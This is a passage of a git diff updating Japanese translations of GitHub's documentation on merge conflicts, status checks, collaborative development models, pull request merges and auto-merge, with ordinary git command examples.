   ```shell
-  If you have questions, please open an issue or ask in our IRC channel if it's more urgent.
+  質問がある場合は、Issue を開くか、緊急の場合は IRC チャネルにてお問い合わせください。
   ```
-7. Add or stage your changes.
+7. 変更を追加またはステージングします。
   ```shell
   $ git add .
   ```
-8. Commit your changes with a comment.
+8. 変更をコメントを付けてコミットします。
   ```shell
   $ git commit -m "Resolved merge conflict by incorporating both suggestions."
   ```
 
-You can now merge the branches on the command line or [push your changes to your remote repository](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) on {% data variables.product.product_name %} and [merge your changes](/articles/merging-a-pull-request/) in a pull request.
+これでコマンドラインでブランチをマージできます。 また、{% data variables.product.product_name %} で[変更をリモート リポジトリにプッシュする](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)ことや、Pull Request で[変更をマージする](/articles/merging-a-pull-request/)ことができます。
 
-## Removed file merge conflicts
+## 削除したファイルのマージコンフリクト
 
-To resolve a merge conflict caused by competing changes to a file, where a person deletes a file in one branch and another person edits the same file, you must choose whether to delete or keep the removed file in a new commit.
+ある人があるブランチでファイルを削除し、別の人が同じファイルを編集するなどの、ファイルへの変更が競合していることにより発生するマージコンフリクトを解決するには、削除したファイルを削除するか保持するかを新しいコミットで選択する必要があります。
 
-For example, if you edited a file, such as *README.md*, and another person removed the same file in another branch in the same Git repository, you'll get a merge conflict error when you try to merge these branches. You must resolve this merge conflict with a new commit before you can merge these branches.
+たとえば、あなたが *README.md* などのファイルを編集した場合、別の人が同じ Git リポジトリ内の別のブランチにある同じファイルを削除したならば、これらのブランチをマージしようとした際にマージコンフリクト エラーが発生します。 これらのブランチをマージする前に、新たなコミットでこのマージ コンフリクトを解決する必要があります。
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Navigate into the local Git repository that has the merge conflict.
+2. マージ コンフリクトが発生しているローカルの Git リポジトリに移動します。
   ```shell
   cd <em>REPOSITORY-NAME</em>
   ```
-2. Generate a list of the files affected by the merge conflict. In this example, the file *README.md* has a merge conflict.
+2. マージ コンフリクトの影響を受けるファイルのリストを生成します。 この例では、ファイル *README.md* にマージコンフリクトが発生しています。
   ```shell
   $ git status
   > # On branch main
@@ -100,32 +101,32 @@ For example, if you edited a file, such as *README.md*, and another person remov
   > # Unmerged paths:
   > #  (use "git add/rm <file>..." as appropriate to mark resolution)
   > #
-  > #	deleted by us:   README.md
+  > #   deleted by us:   README.md
   > #
   > # no changes added to commit (use "git add" and/or "git commit -a")
   ```
-3. Open your favorite text editor, such as [Atom](https://atom.io/), and navigate to the file that has merge conflicts.
-6. Decide if you want keep the removed file. You may want to view the latest changes made to the removed file in your text editor.
+3. [Atom](https://atom.io/) などのお気に入りのテキスト エディターを開き、マージ コンフリクトが発生しているファイルに移動します。
+6. 削除したファイルを保存するかどうかを決めます。 削除したファイルに行った最新の変更をテキスト エディターで確認することをお勧めします。
 
- To add the removed file back to your repository:
+ 削除したファイルをリポジトリに追加して戻すには:
   ```shell
   $ git add README.md
   ```
- To remove this file from your repository:
+ このファイルをリポジトリから削除するには:
   ```shell
   $ git rm README.md
   > README.md: needs merge
   > rm 'README.md'
   ```
-7. Commit your changes with a comment.
+7. 変更をコメントを付けてコミットします。
   ```shell
   $ git commit -m "Resolved merge conflict by keeping README.md file."
   > [branch-d 6f89e49] Merge branch 'branch-c' into branch-d
   ```
 
-You can now merge the branches on the command line or [push your changes to your remote repository](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) on {% data variables.product.product_name %} and [merge your changes](/articles/merging-a-pull-request/) in a pull request.
+これでコマンドラインでブランチをマージできます。 また、{% data variables.product.product_name %} で[変更をリモート リポジトリにプッシュする](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)ことや、Pull Request で[変更をマージする](/articles/merging-a-pull-request/)ことができます。
 
-## Further reading
+## 参考リンク
 
-- "[About merge conflicts](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts)"
-- "[Checking out pull requests locally](/articles/checking-out-pull-requests-locally/)"
+- "[マージコンフリクトについて](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts)"
+- "[Pull Request をローカルでチェック アウトする](/articles/checking-out-pull-requests-locally/)"
diff --git a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks.md b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks.md
index a578538671..2510f9339c 100644
--- a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks.md
+++ b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks.md
@@ -1,6 +1,6 @@
 ---
-title: About status checks
-intro: Status checks let you know if your commits meet the conditions set for the repository you're contributing to.
+title: ステータスチェックについて
+intro: ステータスチェックを利用すると、コントリビュート先のリポジトリの条件をコミットが満たしているかどうかを知ることができます。
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks
   - /articles/about-statuses
@@ -15,32 +15,33 @@ versions:
 topics:
   - Pull requests
 ---
-Status checks are based on external processes, such as continuous integration builds, which run for each push you make to a repository. You can see the *pending*, *passing*, or *failing* state of status checks next to individual commits in your pull request.
 
-![List of commits and statuses](/assets/images/help/pull_requests/commit-list-statuses.png)
+ステータスチェックは、リポジトリにプッシュをするたびに実行される継続的インテグレーションのビルドのような、外部のプロセスに基づいています。 プルリクエスト中の個々のコミットの隣に、* pending*、*passing*、 *failing* などの、ステータスチェックのステータスが表示されます。
 
-Anyone with write permissions to a repository can set the state for any status check in the repository.
+![コミットとステータスのリスト](/assets/images/help/pull_requests/commit-list-statuses.png)
 
-You can see the overall state of the last commit to a branch on your repository's branches page or in your repository's list of pull requests.
+書き込み権限があるユーザまたはインテグレーションなら誰でも、リポジトリのステータスチェックを任意のステータスに設定できます。
+
+ブランチへの最後のコミットの全体的なステータスは、リポジトリのブランチページあるいはリポジトリのプルリクエストのリストで見ることができます。
 
 {% data reusables.pull_requests.required-checks-must-pass-to-merge %}
 
-## Types of status checks on {% data variables.product.product_name %}
+## {% data variables.product.product_name %}でのステータスチェックの種類
 
-There are two types of status checks on {% data variables.product.product_name %}:
+{% data variables.product.product_name %} のステータスチェックには 2 種類あります。
 
-- Checks
-- Statuses
+- チェック
+- ステータス
 
 _Checks_ are different from _statuses_ in that they provide line annotations, more detailed messaging, and are only available for use with {% data variables.product.prodname_github_apps %}.
 
-Organization owners and users with push access to a repository can create checks and statuses with {% data variables.product.product_name %}'s API. For more information, see "[Checks](/rest/reference/checks)" and "[Statuses](/rest/reference/repos#statuses)."
+Organization オーナー、およびリポジトリにプッシュアクセスを持つユーザは、{% data variables.product.product_name %} の API でチェックおよびステータスを作成できます。 詳しい情報については、「[チェック](/rest/reference/checks)」および「[ ステータス](/rest/reference/repos#statuses)」を参照してください。
 
-## Checks
+## チェック
 
-When _checks_ are set up in a repository, pull requests have a **Checks** tab where you can view detailed build output from status checks and rerun failed checks.
+リポジトリで_チェック_が設定されている場合、プルリクエストには [**Checks**] タブがあり、そこからステータスチェックからの詳細なビルドの出力を表示して、失敗したチェックを再実行できます。
 
-![Status checks within a pull request](/assets/images/help/pull_requests/checks.png)
+![プルリクエスト中のステータスチェック](/assets/images/help/pull_requests/checks.png)
 
 {% note %}
 
@@ -48,28 +49,28 @@ When _checks_ are set up in a repository, pull requests have a **Checks** tab wh
 
 {% endnote %}
 
-When a specific line in a commit causes a check to fail, you will see details about the failure, warning, or notice next to the relevant code in the **Files** tab of the pull request.
+コミットの特定の行でチェックが失敗している場合、その失敗、警告、注意に関する詳細がプルリクエストの [**Files**] タブの関連するコードの横に表示されます。
 
-![Details of a status check](/assets/images/help/pull_requests/checks-detailed.png)
+![失敗したステータスチェックの詳細](/assets/images/help/pull_requests/checks-detailed.png)
 
-You can navigate between the checks summaries for various commits in a pull request, using the commit drop-down menu under the **Conversation** tab.
+[**Conversation**] タブの下のコミットドロップダウンメニューを使って、プルリクエスト中のさまざまなコミットのチェックのサマリー間を行き来できます。
 
-![Check summaries for different commits in a drop-down menu](/assets/images/help/pull_requests/checks-summary-for-various-commits.png)
+![ドロップダウンメニュー中でのさまざまなコミットのチェックのサマリー](/assets/images/help/pull_requests/checks-summary-for-various-commits.png)
 
-### Skipping and requesting checks for individual commits
+### 個々のコミットに関するチェックのスキップとリクエスト
 
-When a repository is set to automatically request checks for pushes, you can choose to skip checks for an individual commit you push. When a repository is _not_ set to  automatically request checks for pushes, you can request checks for an individual commit you push. For more information on these settings, see "[Check Suites](/rest/reference/checks#update-repository-preferences-for-check-suites)."
+リポジトリがプッシュに対して自動的にチェックをリクエストするように設定されている場合、プッシュする個々のコミットについてチェックをスキップできます。 リポジトリがプッシュに対して自動的にチェックをリクエストするよう設定されて_いない_場合、プッシュする個々のコミットについてチェックをリクエストできます。 これらの設定についての詳しい情報は、「[チェックスイート](/rest/reference/checks#update-repository-preferences-for-check-suites)」を参照してください。
 
-To skip or request checks for your commit, add one of the following trailer lines to the end of your commit message:
+コミットに対するチェックをスキップもしくはリクエストするには、以下の追加行のいずれかをコミットメッセージの末尾に追加します:
 
-- To _skip checks_ for a commit, type your commit message and a short, meaningful description of your changes. After your commit description, before the closing quotation, add two empty lines followed by `skip-checks: true`:
+- コミットの_チェックをスキップ_には、コミットメッセージと変更の短く意味のある説明を入力してください。 After your commit description, before the closing quotation, add two empty lines followed by `skip-checks: true`:
   ```shell
   $ git commit -m "Update README
   >
   >
   skip-checks: true"
   ```
-- To _request_ checks for a commit, type your commit message and a short, meaningful description of your changes. After your commit description, before the closing quotation, add two empty lines followed by `request-checks: true`:
+- コミットのチェックを_リクエスト_するには、コミットメッセージと変更の短く意味のある説明を入力してください。 After your commit description, before the closing quotation, add two empty lines followed by `request-checks: true`:
   ```shell
   $ git commit -m "Refactor usability tests
   >
diff --git a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/index.md b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/index.md
index 04a027d1a8..7420d8f7c4 100644
--- a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/index.md
+++ b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/index.md
@@ -1,6 +1,6 @@
 ---
-title: Collaborating on repositories with code quality features
-intro: 'Workflow quality features like statuses, {% ifversion ghes %}pre-receive hooks, {% endif %}protected branches, and required status checks help collaborators make contributions that meet conditions set by organization and repository administrators.'
+title: コード品質保証機能を使ってリポジトリでコラボレーションする
+intro: 'ステータス、{% ifversion ghes %}pre-receive フック、{% endif %}保護されたブランチ、必須ステータスチェックなどの、ワークフローの品質保証機能は、コラボレーターが Organization やリポジトリの管理者が設定した条件に合うようにコントリビューションを行うために役立ちます。'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/collaborating-on-repositories-with-code-quality-features
   - /articles/collaborating-on-repositories-with-code-quality-features-enabled
@@ -18,3 +18,4 @@ children:
   - /working-with-pre-receive-hooks
 shortTitle: Code quality features
 ---
+
diff --git a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models.md b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models.md
index 4edfc60e28..2313a3f966 100644
--- a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models.md
+++ b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models.md
@@ -1,6 +1,6 @@
 ---
-title: About collaborative development models
-intro: The way you use pull requests depends on the type of development model you use in your project. You can use the fork and pull model or the shared repository model.
+title: 共同開発モデルについて
+intro: プルリクエストの使い方は、プロジェクトで使う開発モデルのタイプによります。 You can use the fork and pull model or the shared repository model.
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/getting-started/about-collaborative-development-models
   - /articles/types-of-collaborative-development-models
@@ -16,22 +16,23 @@ topics:
   - Pull requests
 shortTitle: Collaborative development
 ---
+
 ## Fork and pull model
 
-In the fork and pull model, anyone can fork an existing repository and push changes to their personal fork. You do not need permission to the source repository to push to a user-owned fork. The changes can be pulled into the source repository by the project maintainer. When you open a pull request proposing changes from your user-owned fork to a branch in the source (upstream) repository, you can allow anyone with push access to the upstream repository to make changes to your pull request.  This model is popular with open source projects as it reduces the amount of friction for new contributors and allows people to work independently without upfront coordination.
+In the fork and pull model, anyone can fork an existing repository and push changes to their personal fork. ユーザが所有するフォークにプッシュする際に、ソースリポジトリへのアクセス許可は必要ありません。 プロジェクトのメンテナーは、その変更をソースリポジトリにプルできます。 ユーザが所有するフォークのブランチからソース（上流）のリポジトリのブランチへの変更を提案するプルリクエストをオープンすると、上流のリポジトリへのプッシュアクセスを持つすべてのユーザがプルリクエストに変更を加えられるようにすることができます。  このモデルは、新しいコントリビュータにとって摩擦が減り、事前に調整することなく人々が独立して作業できることから、オープンソースプロジェクトでよく使われます。
 
 {% tip %}
 
-**Tip:** {% data reusables.open-source.open-source-guide-general %} {% data reusables.open-source.open-source-learning-lab %}
+**ヒント：**{% data reusables.open-source.open-source-guide-general %} {% data reusables.open-source.open-source-learning-lab %}
 
 {% endtip %}
 
 ## Shared repository model
 
-In the shared repository model, collaborators are granted push access to a single shared repository and topic branches are created when changes need to be made. Pull requests are useful in this model as they initiate code review and general discussion about a set of changes before the changes are merged into the main development branch. This model is more prevalent with small teams and organizations collaborating on private projects.
+共有リポジトリモデルでは、コラボレータは単一の共有リポジトリへのプッシュアクセスが許可され、変更の必要がある場合にはトピックブランチが作成されます。 このモデルでは、メインの開発ブランチに変更がマージされる前に、一連の変更についてコードレビューと一般的な議論を始めることができるので、プルリクエストが役に立ちます。 このモデルは、プライベートなプロジェクトで協力する小さなTeamやOrganizationで普及しています。
 
-## Further reading
+## 参考リンク
 
-- "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)"
-- "[Creating a pull request from a fork](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)"
-- "[Allowing changes to a pull request branch created from a fork](/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork)"
+- [プルリクエストについて](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)
+- [フォークからプルリクエストを作成する](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)
+- [フォークから作成されたプルリクエストブランチへの変更を許可する](/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork)
diff --git a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/getting-started/index.md b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/getting-started/index.md
index 1fef23a997..12267c6650 100644
--- a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/getting-started/index.md
+++ b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/getting-started/index.md
@@ -1,7 +1,7 @@
 ---
-title: Getting started
-shortTitle: Getting started
-intro: 'Learn about the {% data variables.product.prodname_dotcom %} flow and different ways to collaborate on and discuss your projects.'
+title: はじめましょう
+shortTitle: はじめましょう
+intro: '{% data variables.product.prodname_dotcom %} フローと、プロジェクトのさまざまなコラボレーションおよびディスカッションの方法について学びます。'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/getting-started
   - /github/collaborating-with-issues-and-pull-requests/overview
@@ -19,3 +19,4 @@ topics:
 children:
   - /about-collaborative-development-models
 ---
+
diff --git a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md
index cdec1046a8..73af3a9ffd 100644
--- a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md
+++ b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md
@@ -1,5 +1,5 @@
 ---
-title: About pull request merges
+title: プルリクエストのマージについて
 intro: 'You can [merge pull requests](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request) by retaining all the commits in a feature branch, squashing all commits into a single commit, or by rebasing individual commits from the `head` branch onto the `base` branch.'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges
@@ -15,46 +15,47 @@ versions:
 topics:
   - Pull requests
 ---
+
 {% data reusables.pull_requests.default_merge_option %}
 
-## Squash and merge your pull request commits
+## プルリクエストのコミットのsquashとマージ
 
 {% data reusables.pull_requests.squash_and_merge_summary %}
 
-### Merge message for a squash merge
+### squash マージのマージメッセージ
 
-When you squash and merge, {% data variables.product.prodname_dotcom %} generates a commit message which you can change if you want to. The message default depends on whether the pull request contains multiple commits or just one. We do not include merge commits when we count the total number of commits.
+squash してマージすると、{% data variables.product.prodname_dotcom %} はコミットメッセージを生成します。メッセージは必要に応じて変更できます。 メッセージのデフォルトは、プルリクエストに複数のコミットが含まれているか、1 つだけ含まれているかによって異なります。 We do not include merge commits when we count the total number of commits.
 
-Number of commits | Summary | Description |
------------------ | ------- | ----------- |
-One commit | The title of the commit message for the single commit, followed by the pull request number | The body text of the commit message for the single commit
-More than one commit | The pull request title, followed by the pull request number | A list of the commit messages for all of the squashed commits, in date order
+| コミット数   | 概要                                      | 説明                                   |
+| ------- | --------------------------------------- | ------------------------------------ |
+| 単一のコミット | 単一のコミットのコミットメッセージのタイトルと、その後に続くプルリクエスト番号 | 単一のコミットのコミットメッセージの本文テキスト             |
+| 複数のコミット | プルリクエストのタイトルと、その後に続くプルリクエスト番号           | squash されたすべてのコミットのコミットメッセージの日付順のリスト |
 
-### Squashing and merging a long-running branch
+### 長時間にわたるブランチを squash してマージする
 
-If you plan to continue work on the [head branch](/github/getting-started-with-github/github-glossary#head-branch) of a pull request after the pull request is merged, we recommend you don't squash and merge the pull request.
+プルリクエストがマージされた後、プルリクエストの [head ブランチ](/github/getting-started-with-github/github-glossary#head-branch)で作業を継続する場合は、プルリクエストを squash してマージしないことをお勧めします。
 
-When you create a pull request, {% data variables.product.prodname_dotcom %} identifies the most recent commit that is on both the head branch and the [base branch](/github/getting-started-with-github/github-glossary#base-branch): the common ancestor commit. When you squash and merge the pull request, {% data variables.product.prodname_dotcom %} creates a commit on the base branch that contains all of the changes you made on the head branch since the common ancestor commit.
+プルリクエストを作成すると、{% data variables.product.prodname_dotcom %} は、head ブランチと[ベースブランチ](/github/getting-started-with-github/github-glossary#base-branch)の両方にある最新のコミット、つまり共通の先祖のコミットを識別します。 プルリクエストを squash してマージすると、{% data variables.product.prodname_dotcom %} は、共通の先祖のコミット以降に head ブランチで行ったすべての変更を含むコミットをベースブランチに作成します。
 
-Because this commit is only on the base branch and not the head branch, the common ancestor of the two branches remains unchanged. If you continue to work on the head branch, then create a new pull request between the two branches, the pull request will include all of the commits since the common ancestor, including commits that you squashed and merged in the previous pull request. If there are no conflicts, you can safely merge these commits. However, this workflow makes merge conflicts more likely. If you continue to squash and merge pull requests for a long-running head branch, you will have to resolve the same conflicts repeatedly.
+このコミットはベースブランチのみで行われ、head ブランチでは行われないため、2 つのブランチの共通の先祖は変更されません。 head ブランチでの作業を続行し、2 つのブランチ間に新しいプルリクエストを作成すると、プルリクエストには、共通の先祖以降のすべてのコミットが含まれます。これには、前のプルリクエストで squash してマージしたコミットも含まれます。 コンフリクトがない場合は、これらのコミットを安全にマージできます。 ただし、このワークフローでは高確率でマージコンフリクトが発生します。 長時間にわたる head ブランチのプルリクエストを squash してマージし続ける場合は、同じコンフリクトを繰り返し解決する必要があります。
 
-## Rebase and merge your pull request commits
+## プルリクエストコミットのリベースとマージ
 
 {% data reusables.pull_requests.rebase_and_merge_summary %}
 
-You aren't able to automatically rebase and merge on {% data variables.product.product_location %} when:
-- The pull request has merge conflicts.
-- Rebasing the commits from the base branch into the head branch runs into conflicts.
-- Rebasing the commits is considered "unsafe," such as when a rebase is possible without merge conflicts but would produce a different result than a merge would.
+以下の場合、{% data variables.product.product_location %}上で自動的にリベースおよびマージすることはできません:
+- プルリクエストにマージコンフリクトがある。
+- ベースブランチからヘッドブランチへのコミットのリベースでコンフリクトが生じる。
+- たとえば、マージコンフリクトなしにリベースできるものの、マージとは異なる結果が生成されるような場合、コミットのリベースは「安全ではない」と考えられます。
 
-If you still want to rebase the commits but can't rebase and merge automatically on {% data variables.product.product_location %} you must:
-- Rebase the topic branch (or head branch) onto the base branch locally on the command line
-- [Resolve any merge conflicts on the command line](/articles/resolving-a-merge-conflict-using-the-command-line/).
-- Force-push the rebased commits to the pull request's topic branch (or remote head branch).
+それでもコミットをリベースしたいにもかかわらず、{% data variables.product.product_location %} 上で自動的にリベースとマージが行えない場合、以下のようにしなければなりません:
+- トピックブランチ (あるいは head ブランチ) をベースブランチにローカルでコマンドラインからリベースする
+- [コマンドライン上でマージコンフリクトを解決する](/articles/resolving-a-merge-conflict-using-the-command-line/)
+- リベースされたコミットをプルリクエストのトピックブランチ (あるいはリモートの head ブランチ) にフォースプッシュする。
 
-Anyone with write permissions in the repository, can then [merge the changes](/articles/merging-a-pull-request/) using the rebase and merge button on {% data variables.product.product_location %}.
+リポジトリに書き込み権限を持つ人は、続いて{% data variables.product.product_location %}上のリベース及びマージボタンを使って[変更をマージ](/articles/merging-a-pull-request/)できます。
 
-## Further reading
+## 参考リンク
 
-- "[About pull requests](/articles/about-pull-requests/)"
-- "[Addressing merge conflicts](/github/collaborating-with-pull-requests/addressing-merge-conflicts)"
+- [プルリクエストについて](/articles/about-pull-requests/)
+- [マージコンフリクトへの対処](/github/collaborating-with-pull-requests/addressing-merge-conflicts)
diff --git a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request.md b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request.md
index 36d4f570c7..0c945ea4f9 100644
--- a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request.md
+++ b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request.md
@@ -1,6 +1,6 @@
 ---
-title: Automatically merging a pull request
-intro: You can increase development velocity by enabling auto-merge for a pull request so that the pull request will merge automatically when all merge requirements are met.
+title: プルリクエストを自動的にマージする
+intro: プルリクエストの自動マージを有効にすると、すべてのマージ要件が満たされたときにプルリクエストが自動的にマージされるようになり、開発速度を上げることができます。
 product: '{% data reusables.gated-features.auto-merge %}'
 versions:
   fpt: '*'
@@ -15,40 +15,36 @@ redirect_from:
   - /github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request
 shortTitle: Merge PR automatically
 ---
-## About auto-merge
 
-If you enable auto-merge for a pull request, the pull request will merge automatically when all required reviews are met and status checks have passed. Auto-merge prevents you from waiting around for requirements to be met, so you can move on to other tasks.
+## 自動マージについて
 
-Before you can use auto-merge with a pull request, auto-merge must be enabled for the repository. For more information, see "[Managing auto-merge for pull requests in your repository](/github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository)."{% ifversion fpt or ghae or ghes > 3.1 or ghec %}
+プルリクエストの自動マージを有効にすると、必要なすべてのレビューを満たし、ステータスチェックに合格すると、プルリクエストが自動的にマージされます。 自動マージにより、要件が満たされるのを待つ必要がなくなるため、他のタスクに進むことができます。
 
-After you enable auto-merge for a pull request, if someone who does not have write permissions to the repository pushes new changes to the head branch or switches the base branch of the pull request, auto-merge will be disabled. For example, if a maintainer enables auto-merge for a pull request from a fork, auto-merge will be disabled after a contributor pushes new changes to the pull request.{% endif %}
+プルリクエストで自動マージを使用する前に、リポジトリで自動マージを有効にする必要があります。 詳しい情報については、「[リポジトリ内のプルリクエストの自動マージを管理する](/github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository)」を参照してください。{% ifversion fpt or ghae or ghes > 3.1 or ghec %}
 
-You can provide feedback about auto-merge by [contacting us](https://support.github.com/contact/feedback?category=prs-and-code-review&subject=Pull%20request%20auto-merge%20feedback).
+プルリクエストの自動マージを有効にした後、リポジトリへの書き込み権限を持たないユーザがプルリクエストの head ブランチに新しい変更をプッシュするか、プルリクエストのベースブランチを切り替えると、自動マージは無効になります。 たとえば、メンテナがフォークからのプルリクエストの自動マージを有効にした場合、コントリビューターがプルリクエストに新しい変更をプッシュすると、自動マージは無効になります。{% endif %}
 
-## Enabling auto-merge
+自動マージに関するフィードバックがある場合は、[お問い合わせ](https://support.github.com/contact/feedback?category=prs-and-code-review&subject=Pull%20request%20auto-merge%20feedback)にご連絡ください。
+
+## 自動マージの有効化
 
 {% data reusables.pull_requests.auto-merge-requires-branch-protection %}
 
-People with write permissions to a repository can enable auto-merge for a pull request.
+リポジトリへの書き込み権限を持つユーザは、プルリクエストの自動マージを有効化できます。
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-pr %}
-1. In the "Pull Requests" list, click the pull request you'd like to auto-merge.
-1. Optionally, to choose a merge method, select the **Enable auto-merge** drop-down menu, then click a merge method. For more information, see "[About pull request merges](/github/collaborating-with-issues-and-pull-requests/about-pull-request-merges)."
-  !["Enable auto-merge" drop-down menu](/assets/images/help/pull_requests/enable-auto-merge-drop-down.png)
-1. Click **Enable auto-merge**.
-  ![Button to enable auto-merge](/assets/images/help/pull_requests/enable-auto-merge-button.png)
-1. If you chose the merge or squash and merge methods, type a commit message and description and choose the email address you want to author the merge commit.
-  ![Fields to enter commit message and description and choose commit author email](/assets/images/help/pull_requests/pull-request-information-fields.png)
-1. Click **Confirm auto-merge**.
-  ![Button to confirm auto-merge](/assets/images/help/pull_requests/confirm-auto-merge-button.png)
+1. [Pull Requests] リストで、自動マージするプルリクエストをクリックします。
+1. 必要に応じて、マージ方法を選択するには、[**Enable auto-merge**] ドロップダウンメニューを選択してから、マージ方法をクリックします。 詳しい情報については[プルリクエストのマージについて](/github/collaborating-with-issues-and-pull-requests/about-pull-request-merges)を参照してください。 ![[Enable auto-merge] ドロップダウンメニュー](/assets/images/help/pull_requests/enable-auto-merge-drop-down.png)
+1. [**Enable auto-merge**] をクリックします。 ![自動マージを有効化するボタン](/assets/images/help/pull_requests/enable-auto-merge-button.png)
+1. マージまたは squash とマージの方法を選択した場合は、コミットメッセージと説明を入力し、マージコミットを作成するメールアドレスを選択します。 ![コミットメッセージと説明を入力し、作者のメールをコミットするフィールド](/assets/images/help/pull_requests/pull-request-information-fields.png)
+1. [**Confirm auto-merge**] をクリックします。 ![自動マージを確認するボタン](/assets/images/help/pull_requests/confirm-auto-merge-button.png)
 
-## Disabling auto-merge
+## 自動マージの無効化
 
-People with write permissions to a repository and pull request authors can disable auto-merge for a pull request.
+リポジトリへの書き込み権限を持つユーザと、プルリクエストの作者であるユーザは、プルリクエストの自動マージを無効化できます。
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-pr %}
-1. In the "Pull Requests" list, click the pull request you'd like to disable auto-merge for.
-1. In the merge box, click **Disable auto-merge**.
-  ![Button to disable auto-merge](/assets/images/help/pull_requests/disable-auto-merge-button.png)
+1. [Pull Requests] リストで、自動マージを無効化するプルリクエストをクリックします。
+1. マージボックスで、[**Disable auto-merge**] をクリックします。 ![自動マージを無効化するボタン](/assets/images/help/pull_requests/disable-auto-merge-button.png)
diff --git a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/index.md b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/index.md
index cf9dabb2ea..28bdf176f5 100644
--- a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/index.md
+++ b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/index.md
@@ -1,6 +1,6 @@
 ---
-title: Incorporating changes from a pull request
-intro: 'You can propose changes to your work on {% data variables.product.product_name %} through pull requests. Learn how to create, manage, and merge pull requests.'
+title: プルリクエストから変更を取り込む
+intro: '{% data variables.product.product_name %} での作業に対する変更は、プルリクエストを通じて提案できます。 プルリクエストを作成、管理、マージする方法を学びましょう。'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/incorporating-changes-from-a-pull-request
   - /articles/incorporating-changes-from-a-pull-request
@@ -21,3 +21,4 @@ children:
   - /reverting-a-pull-request
 shortTitle: Incorporate changes
 ---
+
diff --git a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md
index 14a7c88f4d..1d4205d7d1 100644
--- a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md
+++ b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md
@@ -42,8 +42,6 @@ topics:
 
 ## プルリクエストをマージする
 
-{% include tool-switcher %}
-
